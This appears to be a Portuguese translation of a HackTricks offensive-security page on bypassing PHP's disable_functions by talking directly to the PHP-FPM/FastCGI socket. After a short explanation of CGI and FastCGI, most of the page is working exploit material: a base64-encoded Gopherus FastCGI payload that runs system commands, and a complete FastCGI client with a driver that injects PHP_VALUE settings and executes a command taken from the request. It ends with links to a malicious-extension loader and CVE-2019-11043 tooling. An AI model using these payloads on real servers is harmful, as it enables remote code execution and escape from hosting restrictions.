disable_functions bypass - php-fpm/FastCGI

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

PHP-FPM

PHP-FPM é apresentado como uma alternativa superior ao padrão PHP FastCGI, oferecendo recursos que são particularmente benéficos para sites com alto tráfego. Ele opera por meio de um processo mestre que supervisiona uma coleção de processos trabalhadores. Para uma solicitação de script PHP, é o servidor web que inicia uma conexão de proxy FastCGI para o serviço PHP-FPM. Este serviço tem a capacidade de receber solicitações tanto por meio de portas de rede no servidor quanto por meio de sockets Unix.

Apesar do papel intermediário da conexão de proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele usa, embora baseada em proxy, difere das conexões de proxy convencionais. Ao receber uma solicitação, um trabalhador disponível do PHP-FPM a processa - executando o script PHP e depois encaminhando os resultados de volta para o servidor web. Após um trabalhador concluir o processamento de uma solicitação, ele fica disponível novamente para solicitações futuras.

Mas o que é CGI e FastCGI?

CGI

Normalmente páginas da web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário para o navegador.

Se o CGI estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo home/user/public_html/cgi-bin. Os scripts CGI são armazenados neste diretório. Cada arquivo no diretório é tratado como um programa executável. Ao acessar um script do diretório, o servidor envia a solicitação para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída para o servidor web, que encaminha os dados para o cliente HTTP.

Por exemplo, quando o script CGI http://mysitename.com/cgi-bin/file.pl é acessado, o servidor executará a aplicação Perl apropriada por meio do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador teria exibido o próprio código do arquivo .pl. (explicação de aqui)

FastCGI

FastCGI é uma tecnologia web mais recente, uma versão aprimorada do CGI já que a funcionalidade principal permanece a mesma.

A necessidade de desenvolver o FastCGI é que a Web foi surgida pelo rápido desenvolvimento e complexidade das aplicações, bem como para abordar as deficiências de escalabilidade da tecnologia CGI. Para atender a esses requisitos, a Open Market introduziu o FastCGI - uma versão de alto desempenho da tecnologia CGI com capacidades aprimoradas.

Bypass de disable_functions

É possível executar código PHP abusando do FastCGI e evitando as limitações de disable_functions.

Via Gopherus

Não tenho certeza se isso está funcionando em versões modernas porque tentei uma vez e não executou nada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via [grupo do telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Usando Gopherus você pode gerar um payload para enviar ao ouvinte FastCGI e executar comandos arbitrários:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Exploração PHP

Não tenho certeza se isso funciona em versões modernas porque tentei uma vez e não consegui executar nada. Na verdade, consegui ver que phpinfo() da execução FastCGI indicava que disable_functions estava vazio, mas o PHP (de alguma forma) ainda estava me impedindo de executar qualquer função previamente desativada. Por favor, se tiver mais informações sobre isso, entre em contato comigo via [grupo telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Código de aqui.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Solicitação inválida');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Este aplicativo não pode multiplexar [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nova solicitação rejeitada; ocupado demais [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Valor de função desconhecido [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// exploração real começa aqui
if (!isset($_REQUEST['cmd'])) {
die("Verifique sua entrada\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // carga útil php -- Não faz nada
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Chamada: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Usando a função anterior, você verá que a função system ainda está desativada, mas o phpinfo() mostra disable_functions vazio:

Portanto, acredito que você só pode definir disable_functions por meio dos arquivos de configuração do php .ini e o PHP_VALUE não substituirá essa configuração.

Este é um script php para explorar o protocolo fastcgi e contornar open_basedir e disable_functions. Isso ajudará você a contornar as disable_functions restritas para RCE carregando a extensão maliciosa. Você pode acessá-lo aqui: https://github.com/w181496/FuckFastcgi ou uma versão ligeiramente modificada e melhorada aqui: https://github.com/BorelEnzo/FuckFastcgi

Você verá que o exploit é muito semelhante ao código anterior, mas em vez de tentar contornar disable_functions usando PHP_VALUE, ele tenta carregar um módulo PHP externo para executar código usando os parâmetros extension_dir e extension dentro da variável PHP_ADMIN_VALUE. NOTA1: Você provavelmente precisará recompilar a extensão com a mesma versão do PHP que o servidor está usando (você pode verificar isso dentro da saída do phpinfo):

NOTA2: Consegui fazer isso funcionar inserindo os valores extension_dir e extension dentro de um arquivo de configuração PHP .ini (algo que você não poderá fazer atacando um servidor). Mas por algum motivo, ao usar esse exploit e carregar a extensão da variável PHP_ADMIN_VALUE, o processo simplesmente morreu, então não sei se essa técnica ainda é válida.

Vulnerabilidade de Execução de Código Remoto PHP-FPM (CVE-2019–11043)

Você pode explorar essa vulnerabilidade com phuip-fpizdam e testá-la usando este ambiente docker: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Você também pode encontrar uma análise da vulnerabilidade aqui.

Last updated